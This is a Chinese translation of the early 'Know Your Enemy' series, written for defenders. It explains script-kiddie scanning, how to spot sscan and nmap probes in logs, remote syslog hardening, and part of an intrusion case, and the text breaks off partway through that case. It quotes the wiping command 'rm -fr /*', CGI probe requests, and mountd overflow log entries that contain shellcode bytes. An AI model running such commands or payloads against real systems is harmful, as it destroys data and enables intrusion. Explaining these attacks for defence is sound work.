Know Your Enemy

我的长官经常对我说:在敌人面前好很好的保护自己,你必须先了解敌人先。(孙子兵法:知己知彼,百战百胜)。这句军事用语现在也很好的应用于网络安全领域中了,就象作战一样,你要保护自己的资源,你需要知道谁是你最大的威胁和他们会怎样攻击。在这个系列中的第一篇文章,就是讨论一种很流行很广泛的来自Script Kiddie所使用的工具和方法,如果你或者你的组织有任何资源连接到Internet上,你就有此类的威胁。

    Know Your Enemy文章主要是涉及到blackhatck团体使用的工具,策略和动机。而Know Your Enemy:II主要集中于你怎样能探测这些威胁,判断他们所使用的工具和他们在你系统上寻找什么样的漏洞。Know Your Enemy:III集中讨论攻击者获得ROOT后在系统上怎样操作,特别是他们是如何掩盖他们的踪迹和他们下一步主要干什么。Know Your Enemy: Forensics 涉及了你怎样分析一种攻击。Know Your Enemy: Motives 通过捕获black-hat团体之间的通信和联系来分析他们的动机和心理状态。Know Your Enemy: Worms at War 描述了WORM蠕虫是怎样自动攻击WINDOW系统的。

    什么叫Script Kiddie

    Script kiddie是一些专门找寻一些容易下手资源的人,他们不专门针对某种特定信息或者目标特定公司,他们的目标是尽可能的用最简单的方法获得ROOT,他们通过搜集一些公开的exploit信息并搜索整个Internet来找寻有这种exploit漏洞的资源,这样,不管怎样,总有某些人会被他们操作。

    其中一些高级点的家伙会开发他们自己的工具,并留下一些复杂的后门,另外一些根本就不知道他们做什么,就知道怎样在命令行打"go"的人。忽略他们的技术水平不说,Script kiddie就是共享一些公共策略,随机搜索某个特殊漏洞并利用这个特殊漏洞的人。

    他们形成的威胁在哪里?

    由于Script kiddie是随机选择目标,所以存在的威胁是你的系统迟早会被扫描到,我知道管理员很惊讶他们的系统在设置以后没几天也没有告诉任何人的时候就被扫描到了,其实这一点也不值得惊讶,因为Scritp kiddie一般是扫描一段网络来操作的。     如果扫描只能限制在几个独立的资源,你可能会很安心,因为Internet上千千万万的机器,扫描到你的机器的几率少之又少。但是,事实不是你想象的这样,目前多数工具能很方面的使用大范围扫描并广泛传播,任何人可以使用他们,使用这些工具的人数增长率呈现惊人的速率。Internet是一个无国界的区域,这种威胁就很快转播到世界各个地方,有这么多人使用这些工具,你被探测就不是问题了。

    试图以含糊其词来搪塞你的安全问题会害了你:你或许会认为没有人知道你的系统,你就会安全,或者你认为你的系统没有价值,他们为何要探测你,其实这些系统正是scritp kiddies搜寻的目标--没有任何保护的系统,非常容易得手的系统。

    具体方法讨论

    Scritp kiddie的方法很简单,扫描Internet有特定缺陷的系统,一但查找到,便对它下手,他们用的许多工具会自动操作,不需要很多的交互。你只要打开工具,然后过几天回来看看你的结果就可以了。没有两个工具是相同的就象没有两个漏洞是一样的,但是虽然如此,许多工具的策略是一样的,第一,开发要扫描的IP段,然后扫描这些IP段中特定的漏洞。

    例如:我们假定一个用户有一个工具可以利用Linux系统上的imap漏洞,如imapd_exploit.c,开始,他们开发一IP数据库来扫描,一旦IP数据库构建好,用户会想判断系统是否运行LINUX系统。目前许多扫描器可以通过发送不正常的信息包到目标系统并查看他们如果响应便可很方便的判断操作系统,如Fyodor的nmap,然后,工具会判断LINUX系统是否运行着imap服务,最后就是利用imapd_exploit.c程序来进入系统了。

    你会想所以这些扫描会有很大的动静,很容易引起注意,但是,很多人没有很好的监视他们的系统,并不认识到他们正被扫描,而且,许多script kiddies在查看他们所要利用的系统时也会保持相当的安静,一旦他们利用这个漏洞进入系统,他们就会使用这个系统作为跳板,并不带任何包袱的扫描整个系统,因为如果这种扫描被抓获,责任是系统管理员而不是那些script-kiddie。

    所有这些扫描的结果经常被用来归档或者在其他用户中共享,以便在以后的日子里使用,如用户在最初为了某个漏洞扫描出来的LINUX系统开了那些端口的数据库后,过一点时间,一个新的漏洞被发现以后,用户可以不用重新构建或者扫描新的IP段,他可以很方便的来查看以前归档的数据库并来利用这个新发现的漏洞。其他变相的,用户可以交流或者买卖有漏洞系统的数据库。你可以看Know Your Enemy: Motives文章中的例子,这样造成scritp kiddie可以不扫描系统而破坏你的资源。

    有些Black-hats会采用木马或者后门来种植在破坏的系统中,后门允许方便的随时的让攻击者来访问你的系统,而木马使入侵者难于被发现,这些技术可以让他们的操作不显示在任何LOG记录,系统进程或者文件结构上,他可以构建一个舒适安全的环境来扫描Internet,跟详细的信息请看:Know Your Enemy: III。

    这些攻击没有限制在一天中的任何时间,许多管理员搜索他们的LOG记录来查询当晚发生了什么,并相信这是攻击者的攻击时间,其实script kiddies在任意时间进行攻击,他们一天24小时的进行扫描,你根本不能考虑到你什么时候会被探测到。而且由于Internet的无边界性,时间也就不确定了,攻击者当地在午夜在攻击,而你这里可能是在当地时间下午一点种。 以上对系统漏洞的扫描可以用于多种用途,近来,一种新的拒绝服务攻击--分布式拒绝服务攻击DDoS,就是攻击者一个人控制了很多台有漏洞的系统,他可以遥控这些控制的系统来共同对目标系统执行拒绝服务攻击。由于多个系统被使用,所以防卫和判断源攻击地也变的非常困难。要控制多个系统,Script kiddie的策略就变的很有用,有漏洞的系统随机被判断并用来作为DDOS的垫板,越多的系统被控制,DDOS攻击的强度就越大。如stacheldraht,要了解关于更多的分布式拒绝服务攻击和怎样保护自己,请查看Paul Ferguson站上的Denialinfo。

    工具

    这些工具一般使用起来很见大,许多工具一般只是几个选项来完成单个目标,开始工具用来构建IP数据库,这些工具很随机的扫描Internet,如一个工具有一个单一的选项,A,B和C,你可以选择一个字母来决定要扫描的网络大小,这工具然后就选择A,B,C相应的IP网络进行扫描。另一个工具使用域名如z0ne,这个工具通过对域名和子域名的区域传输操作来构造IP数据库,用户通过扫描整个.com或者.edu域来获得2百万或者更多的IP数据库,一旦发现这些IP,它们就被会被工具用户判断版本名字,操作系统,所运行的服务,如果发现系统有漏洞,black-hat就会马上进行攻击。要更好的理解这些工具,请看Know Your Enemy: Forensics。

    怎样防止这类威胁

    下面的一些步骤你可以比较好的保护你的系统,第一,script kiddie一般找寻容易下手的对象,如一些很公开很容易得手的漏洞系统,保证你的系统和网络不受这些漏洞的影响,http://www.cert.org/http://www.ciac.org/是了解这些漏洞很好的资料库。同样地,bugtraq (securityfocus.com的一个邮件列表 ) 也是获得这些漏洞信息很好的地方。另一个保护你自己的方法是只运行你需要的服务,如果你不需要某个服务,关掉它,如果你确实要使用某个服务,确保你的服务版本是最新的。要怎样操作,请看这些文章:Armoring Solaris , Armoring Linux 或者Armoring NT. 上面知道,DNS服务器是经常被用来找寻IP数据库的对象之一,你必须在你的名字服务器上限制区域传送的操作,记录任何未认证的区域传输并跟踪他们。我强烈建议升级BIND到最新的版本,你可以在下面的地址找到:www.isc.org/bind.html. 最后监视你被探测的系统,你可以跟踪这些探测操作获得更多对你网络有威胁的举动。

    总结

    Scritp kiddie会对所有系统有威胁,他们没有任何偏爱,任何系统他们都挑,不计较地点和价值。不管怎样,你迟早会被扫描到。通过了解他们的动机和方法,你可以很好的对付这些威胁而更好的保护你的系统。


Know Your Enemy--Blackhat

  此文章是系列中的第二篇文章,在第一篇Know Your Enemy, 我们讲述了Script kiddie相关的工具和方法,特别是他们是怎样探测漏洞然后攻击的。在第三篇Know YourEnemy III中我们将会描述Script kiddie在获得ROOT的时候将会做的事情,特别是他们是怎样覆盖踪迹和他们下一步做的是什么。当前这文章,将涉及到有关则怎样跟踪他们的行为。我们会讲述到通过你的系统记录来判断你所需的操作,和你被扫描了以后,你需要了解被探测了以后主要被干什么用,他们使用了那些工具;这里的有些例子主要是基于LINUX操作系统,但是很容易移植到其他UNIX系统中,记住,没有绝对的方法能跟踪敌人的每一步,但是,这文章会是一个好的开始。

    加强系统LOG记录的安全性

    这文章没有主要不是针对入侵检测进行讨论,关于IDS,internet上有很多优秀的源程序供你选择,如果你对入侵检测感兴趣,我建议你使用如Network Flight Recorder 和snort程序来尝试。此文主要集中在智力收集信息上,特别是,怎样通过查看你的系统记录来获取攻击者操作信息,可能你对你能在自己的LOG记录上能发现多少信息感到很惊讶,但是,在我们讲述查看你记录前,我们首先必须讨论下加强你的系统LOG安全性,如果你不能信任你系统记录的完整性那这些记录将会一文不值,多数Blackhat在进入系统之后第一件事情就是怎样更改记录文件,网上非常多类型的Rootkit工具可以清楚记录文件中他们的留下的踪迹(如cloak),或者阻止所有系统的记录(如伪造过的syslogd),因此,要想查看系统记录,你必须保护好你的记录文件。

    这意味着你需要使用远程的LOG服务器,先不管你有多少能力保护自己的系统,在一台被入侵的系统中你不能相信你的任何记录,即使你最好的保护被入侵系统的LOG记录,Blackhat也可以简单的使用rm -fr /*来完全清理你的硬盘。要保护这些文件,你必须使你所有系统的LOG记录既有本地记录也发向远程LOG服务器中,这里建立你一个只记录LOG的服务器来收集其他服务器上的信息,如果牵涉到钱的问题,你可以简单使用Linux服务器来充当你的LOG服务器,不过这台服务器必须保证非常安全,需要所有服务关闭,只允许控制台访问(如Armoring Linux所描述),还有必须保证UDP 514口没有对外连接,这样可以保护你的LOG服务器不接受从外界来的不好的或者未认证的LOG信息。

    由于上述原因,这里建议你重编译syslogd程序,并让syslogd读取不同的配置文件,如/var/tmp/.conf,此方法能让Blackhat没有注意到真实的配置文件位置,这项操作你可以简单的在源代码中修改"/etc/syslog.conf"条目,接着我们可以设置我们新的配置文件把信息记录到本地和远程服务器,如syslog.txt。这里请你维持一标准的配置文件/etc/syslog.conf指向所有本地LOG,虽然这份配置文件没有用,但可以让攻击者相信记录没有发忘远程记录。另一个选择方法就是让你的系统使用更安全的日志记录工具,如使用某些有完整性检查和其他方面安全加强的系统日志记录工具,如syslog-ng。

    记录都记录到远程服务器中,将想上面提到的,我们可以基本上相信这些LOG的完整性,而且由于所有系统都记录在单一资源中,就比较容易的判断这些LOG的样式。我们可以在一台机器上记录所有系统记录,你所做的是对比下本地系统和远程系统的不一致性。

    类型匹配

    通过检查你的记录条目,你可以用来判断那些端口被扫描,许多Script kidde扫描整个网络只为一个漏洞,如你的记录显示你多数系统有来自同一远程系统的连接和同一端口,这就很可能以为着是一次漏洞的扫描,多数LINUX系统中,TCP Wrapper默认安装的,所以你可以在/var/log/secure里找到多数连接,在其他UNIX系统中,我们可以通过启动inetd后增加-t标志就可以记录所有Inetd连接。下面是一个典型的漏洞扫描,是为了扫描wu-ftpd漏洞:

/var/log/secure
Apr 10 13:43:48 mozart in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:51 bach in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:54 hadyen in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:57 vivaldi in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:58 brahms in.ftpd[6613]: connect from 192.168.11.200

    上面我们可以看到源主机192.168.11.200在扫描我们的网络,注意为何源主机连续扫描每个IP,这些记录就归功于LOG服务器,你可以方便的判断每个类型,连续的连接端口21,FTP,就暗示着攻击者在寻找wu-ftpd漏洞。一般来说,扫描是倾向于阶段性的,某些人发布了一个imap漏洞的利用代码,你就会发现记录里有imap扫描突然增多,下一个月如果有FTP利用程序发布,记录就会转向ftp突然增多,你可以在这个地址http://www.cert.org/advisories/获得当前最新的漏洞建议。有时,一个工具也会在同一时间里扫描多种漏洞,因此你也会看到一个源主机连接多个端口。

    记住,如果你没有记录这些服务,你就不会知道你被扫描,例如,多数RPC连接没有被记录,但是服务记录是一件简单的事情,你可以通过在/etc/inetd.conf增加条目来让TCP WRAPPER进行记录,如你在/etc/inetd.conf里增加NetBus条目,你就可以通过定义TCP Wrapper来安全的拒绝和记录NETBUS的连接(更多信息请查看ids).

    判断使用工具

    有些时候你可以判断什么样的工具在扫描你的系统,因为一般工具都是扫描特殊的漏洞,如ftp-scan.c,如果你发现只是一个端口被扫描,一般他们使用的是单任务工具,但是也存在很多工具扫描多种系统漏洞和薄弱处,举两个非常有用的工具如jsbach写的sscan和Fyodor写的nmap,我只所以选择了这两个工具是因为他们能代表两种类别的扫描工具,这里强烈建议你用这些工具扫描下你自己的网络,或许你会得到让你吃惊的结果。

    注:sscan工具是一个比较老的工具了,在这里只是把sscan拿来讨论,要扫描你网络系统的漏洞,这里建议使用Nessus。

    sscan代表着以"所有目标"为目的的Script kiddie扫描工具,它扫描网络一套的网络漏洞,它可以让你定制规则来对新漏洞的增加,你只要传递工具一个网络和网络掩码,其他的事情它来做,不过这个工具需要有ROOT权利才能使用,它的输出很容易理解,它会提供一个简洁的对漏洞服务的描述,所有你要做的就是让sscan扫描网络,然后你提取"VULN"的值,然后运行"exploit du jour",下面是sscan对系统mozart (172.17.6.30)的扫描:

 

otto #./sscan -o 172.17.6.30

--------------------------<[ * report for host mozart *
<[ tcp port: 80 (http) ]><[ tcp port: 23 (telnet) ]>
<[ tcp port: 143 (imap) ]><[ tcp port: 110 (pop-3) ]>
<[ tcp port: 111 (sunrpc) ]><[ tcp port: 79 (finger) ]>
<[ tcp port: 53 (domain) ]><[ tcp port: 25 (smtp) ]>
<[ tcp port: 21 (ftp) ]>

--<[ *OS*: mozart: os detected: redhat linux 5.1
mozart: VULN: linux box vulnerable to named overflow.
<[ *CGI*: 172.17.6.30: tried to redirect a /cgi-bin/phf request.
<[ *FINGER*: mozart: root: account exists.
<[ *VULN*: mozart: sendmail will 'expn' accounts for us
<[ *VULN*: mozart: linux bind/iquery remote buffer overflow
<[ *VULN*: mozart: linux mountd remote buffer overflow
---------------------------<[ * scan of mozart completed *


    Nmap代表"原始数据"工具集,它不告诉你系统有什么漏洞存在,相反,它告诉你系统有什么端口打开,你必须自己判断安全问题,Nmap很快变成扫描端口的首选,它是能很好的端口扫描工具并集合多种功能的工具包括OS探测,有多种端口组合选择,包括UDP和TCP扫描,不过这个工具需要你有一定的网络技能来使用这个工具并解析这些数据,下面是nmap对同一系统扫描的结果:

 

otto #nmap -sS -O 172.17.6.30

          Starting nmap V. 2.08 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
          Interesting ports on mozart (172.17.6.30):
          Port     State       Protocol   Service
          21       open         tcp         ftp
          23       open         tcp         telnet
          25       open         tcp         smtp
          37       open         tcp         time
          53       open         tcp         domain
          70       open         tcp         gopher
          79       open         tcp         finger
          80       open         tcp         http
          109     open         tcp         pop-2
          110     open         tcp         pop-3
          111     open         tcp         sunrpc
          143     open         tcp         imap2
          513     open         tcp         login
          514     open         tcp         shell
          635     open         tcp         unknown
          2049     open         tcp         nfs

          TCP Sequence Prediction: Class=truly random Difficulty=9999999 (Good luck!)
          Remote operating system guess: Linux 2.0.35-36

          Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds
 

    通过检查你的LOG记录,你可以判断那个工具在扫描你,不过你需要理解这些工具是如何工作的你才能判断出扫描你的工具,第一,sscan会在记录中留下下面的记录(这个是默认扫描没有增加任何修改和其他配置文件):

/var/log/secure
Apr 14 19:18:56 mozart in.telnetd[11634]: connect from 192.168.11.200
Apr 14 19:18:56 mozart imapd[11635]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.fingerd[11637]: connect from 192.168.11.200
Apr 14 19:18:56 mozart ipop3d[11638]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.telnetd[11639]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.ftpd[11640]: connect from 192.168.11.200
Apr 14 19:19:03 mozart ipop3d[11642]: connect from 192.168.11.200
Apr 14 19:19:03 mozart imapd[11643]: connect from 192.168.11.200
Apr 14 19:19:04 mozart in.fingerd[11646]: connect from 192.168.11.200
Apr 14 19:19:05 mozart in.fingerd[11648]: connect from 192.168.11.200
/var/log/maillog
Apr 14 21:01:58 mozart imapd[11667]:
command stream end of file, while reading line user=???
host=[192.168.11.200]
Apr 14 21:01:58 mozart ipop3d[11668]:
No such file or directory while reading line user=???
host=[192.168.11.200]
Apr 14 21:02:05 mozart sendmail[11675]:
NOQUEUE: [192.168.11.200]: expn root
/var/log/messages
Apr 14 21:03:09 mozart telnetd[11682]:
ttloop: peer died: Invalid or incomplete multibyte or wide character
Apr 14 21:03:12 mozart ftpd[11688]: FTP session closed

 

    sscan也扫描cgi-bin漏洞,这些探测没有通过syslogd记录,你可以在access_log中发现:

192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/phf HTTP/1.0" 302 192< 192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/Count.cgi HTTP/1.0" 404 170
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/test-cgi HTTP/1.0" 404 169
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/php.cgi HTTP/1.0" 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/handler HTTP/1.0" 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/webgais HTTP/1.0" 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/websendmail HTTP/1.0" 404 172
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/webdist.cgi HTTP/1.0" 404 172
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/faxsurvey HTTP/1.0" 404 170
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/htmlscript HTTP/1.0" 404 171
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/pfdisplay.cgi HTTP/1.0" 404 174
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/perl.exe HTTP/1.0" 404 169
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500]
"GET /cgi-bin/wwwboard.pl HTTP/1.0" 404 172
192.168.11.200 - - [14/Apr/1999:16:44:50 -0500]
"GET /cgi-bin/ews/ews/architext_query.pl
HTTP/1.0" 404 187
192.168.11.200 - - [14/Apr/1999:16:44:50 -0500]
"GET /cgi-bin/jj HTTP/1.0" 404 163


    注意上面对所有端口(SYN, SYN-ACK, ACK)进行了完整的连接,这是因为sscan判断应用层上的内容,不仅仅是sscan想知道你的ftp端口是否打开而且要知道什么样的FTP程序在运行,其他的imap,pop也是这样,你可以通过sniffit来嗅探起踪迹,sniffit是常用来嗅探密码的工具:

mozart $ cat 172.17.6.30.21-192.168.11.200.7238
220 mozart.example.net FTP server
(Version wu-2.4.2-academ[BETA-17](1)
Tue Jun 9 10:43:14 EDT 1998) ready.

    就像你上面所见到的,通过一次完整的连接来判断什么样版本的wu-ftpd在运行,当你在LOG文件里看到一次完整的连接,你就应该想到很可能是一次查找漏洞的工具在扫描。

    Nmap,类似许多扫描器,并不关心你运行了什么,而是你运行了什么样特殊的服务,Nmap有一套功能强大的选项,让你选择什么类型的连接,包括SYN, FIN, Xmas, Null等,你可以在nmap_doc.html文章中获得详细的描述。由于使用到这些选项,你的记录上会因远程用户选择不同而不同,如果使用-sT标志,暗示一次完整的连接,你在记录上会看到和sscan类似的记录,不过nmap默认情况下扫描更多的端口:

/var/log/secure
Apr 14 21:25:08 mozart in.rshd[11717]:
warning: can't get client address: Connection
reset by peer
Apr 14 21:25:08 mozart in.rshd[11717]:
connect from unknown
Apr 14 21:25:09 mozart in.timed[11718]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart in.timed[11718]:
connect from unknown
Apr 14 21:25:09 mozart imapd[11719]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart imapd[11719]: connect from unknown
Apr 14 21:25:09 mozart ipop3d[11720]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart ipop3d[11720]: connect from unknown
Apr 14 21:25:09 mozart in.rlogind[11722]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart in.rlogind[11722]: connect from unknown

    你必须注意Nmap有-D选项,它可以让用户来伪造源地址,你或许会在同一时间里看到从15个不同源主机来的扫描,其实这些地址真实的只有一个,所以从这些源地址中判断真实地址是比较困难的事情。还有,用户还会选择-sS标志,这是一隐蔽扫描选项,只发送SYN包,如果远程系统回应,连接就直接通过RST包来断开,所以这时候的记录会如下:

/var/log/secure
Apr 14 21:25:08 mozart in.rshd[11717]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:08 mozart in.rshd[11717]: connect from unknown
Apr 14 21:25:09 mozart in.timed[11718]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart in.timed[11718]: connect from unknown
Apr 14 21:25:09 mozart imapd[11719]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart imapd[11719]: connect from unknown
Apr 14 21:25:09 mozart ipop3d[11720]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart ipop3d[11720]: connect from unknown
Apr 14 21:25:09 mozart in.rlogind[11722]:
warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart in.rlogind[11722]: connect from unknown

    注意在连接中显示所有连接错误的,原因是SYN-ACK正确的顺序在完成完整连接之前被破坏,守护程序就判断不出源地址,这样记录虽然能记录被扫描,但不能记录谁在扫描,更甚的是,有些系统(包括新内核的LINUX),没有一个错误记录会被记录。应用Fyodor的话"...基于所有'connection reset by peer'信息,linux2.0.XX有点古怪--事实上每个其他系统(包括2.2和2.1后内核)会什么都不显示,这个BUG(accept()在完成3次连接之后返回)已经修补"。

    Nmap包含其他的一些隐蔽扫描选项,如:-sF, -sX, -sN ,在记录中会如下显示: /var/log/secure

就是说没有任何显示,就是说你被扫描会你永远不会知道。所有这三种类型都是同样的结果,你只能记录-sT标志的扫描。要探测这些隐蔽扫描,你需要使用不同的记录程序如tcplogd或者ippl,某些商业防火墙也能探测到这些扫描,如Checkpoint Firewall 1.

    判断他们是否进入

    一旦你知道你被扫描了,下一个大问题就是"他们有没有进入你的系统",现在多数远程利用程序基于缓冲溢出,简单的陈述就是当程序(一般是守护程序)接受到超多的输入后,会覆盖正确的内存区域,导致代码被执行,而获得远程ROOT访问,关于缓冲溢出更多信息,你可以查看Aleph1的phrack49-14.txt文章。

    你一般可以在/var/log/messages或者/var/adm/messages文件中判断缓冲溢出攻击,如mountd。下面是对imapd进行的攻击,你在maillog里会发现如下的缓冲溢出信息:

Apr 14 04:20:51 mozart mountd[6688]:
Unauthorized access by NFS client 192.168.11.200.
Apr 14 04:20:51 mozart syslogd: Cannot glue message parts together
Apr 14 04:20:51 mozart mountd[6688]:
Blocked attempt of 192.168.11.200 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P3?3à°^[í~@3ò3à~Kú°^Fí~@t?u?1à°^Bí~@~Eàub?b^V? ^B~ I^Ftè~IF^D°^F~IF^H°f1?t?~I
?í~@~I^F°^Bf~IF^L°*f~IF^N~MF^L~IF^D1à~IF^
P°^P~IF^H°ft?í~@°^A~IF^D°f3^Dí~@?^D?L?R1à~IF^D~IF^H°ft?í~@~H?°?1éí~@°
?táí~@°?táí~@?.bin@~I^F?.sh!@~IF^D1à~HF^G~Iv^H~IF^L°^K~Ió~MN^H~MV^Lí~@1à°^
A1?í~@è E????y?PrivetADMcrew~P(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E
^H(-^E^H(Apr 14 04:20:51mozart ^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^
E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E
^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^ H(-^E^H(-^E^H
^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E

    当你在LOG文件里看到如上的信息时,就可以判断有人尝试利用漏洞进入你的系统,不过是否成功就比较难判断,一种方法是,在漏洞利用之后查看是否有任何远程主机进入你系统,如果有从远程系统中成功的LOGIN,他们就已经进入你的系统,另一个线索是在/etc/passwd文件中查找可疑的帐户如"moof", "rewt", "crak0", 或 "w0rm" 是否UID为0,一旦攻击者获得访问权利,他们会清除他们的记录和改装你的LOG记录,关于这方面更多信息,请查看Know Your Enemy: III. 如果真的类似上面这样的操作,你就很难在你破坏的系统上获得任何信息。下一步该怎么做就是另一个话题了,这里建议你查看下面的文件:http://www.cert.org/nav/recovering.html

为了帮助我查找LOG文件中的反常记录,我写了一脚本程序来检查,关于更详细的查找和排序LOG文件,你可以查看此文:Marcus Ranum。(fttp://www.nfr.net/firewall-wizards/mail-archive/1997/Sep/0098.html)。这里是这个脚本的程序:Korn shell scriptbr

    总结

你系统记录文件会告诉你详细的关于攻击者的信息,但是,首先你必须保证你LOG文件的完整性。一个最好的方法就是使用远程LOG服务器来接受和存储所有系统的系统。这样你可以判断LOG文件的信息类型,基于这些类型和LOG条目,你可以判断Blackhat到底在干什么和判断他们使用的工具。根据这些知识,你可以更好的保护你的系统。


Know Your Enemy--入侵者

  本文是对入侵者进行研究系列文章中的第三篇。第一篇讲述了入侵者们的探测行为、分类及利用漏洞的过程,第二篇聚焦于如何探测这些入侵企图、鉴别他们使用了哪些工具、他们所寻找的漏洞有哪些……这篇文章,则讲述了当他们获得root权限后,所做的事情,重点放在他们是如何隐藏踪迹以及之后如何做。可以从这里下载原始数据进行分析。

    入侵者是谁

    就象我们在第一篇文章里所说的,多数的入侵者并没有考虑太多的策略方面的问题,他们更重视的是轻易地入侵,而非针对某些特定的信息或者某个特定的公司。他们把注意力集中于最有效的几个漏洞利用程序上,然后在互联网上寻找相应的主机——迟早他们会找到适合入侵的机器的……

    当他们获得root权限这后,第一件事往往是抹去他们的踪迹,他们需要确保系统管理员没有发现系统被侵袭,并且不希望留下任何日志或者他们活动的记录。然后,他们会使用你的机器来扫描网络中的其它系统,或者静静地潜伏,以求获得更多的资料。为了更好地了解他们是如何侵害系统的,我们将沿着一个入侵者的入侵步骤来观察。我们的系统——mozart,上面运行的操作系统是RedHat 5.1。系统在1999年4月27日受到攻击,下面的一些入侵过程的记录,是从系统日志及击键记录中提取的,我们对系统日志及击键都做了验证,所有的系统日志都是在一个受保护的syslog服务器上的,所有的击键都是由一个被嗅探器——称为sniffit捕获的。如果你想了解更多关于这些记录获得的技巧的话,请参见另一篇文章——英雄本色。在本文中,我们称这个入侵者为“他”——因为我们无法得知其真正的性别。

    漏洞利用

    在4月27日的00:13,有一个家伙在域名为1Cust174.tnt2.long-branch.nj.da.uu.net的地方对我们进行扫描,针对了包括imap漏洞在内的几个特定的漏洞,这些入侵者是比较讨厌的,因为他们一下扫描了整个网段,(想了解更多关于这次探测的信息,可以参见系列文章中的第二篇 )。

Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174

    很显然地,他找到了一些他所乐见的东西,并且在06:52和16:47又回来了。他开始了一次针对mozart机器的彻底扫描,并且确定了这台机器存在着mountd的安全漏洞,这个漏洞是Red Hat 5.1中存在的一个会危及root安全的漏洞,我们可以从/var/log/messages中看到,这个入侵者应该已经获得了超级用户权限,他所使用的工具看上去象是ADMmountd.c或者一些极其类似的程序。

Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
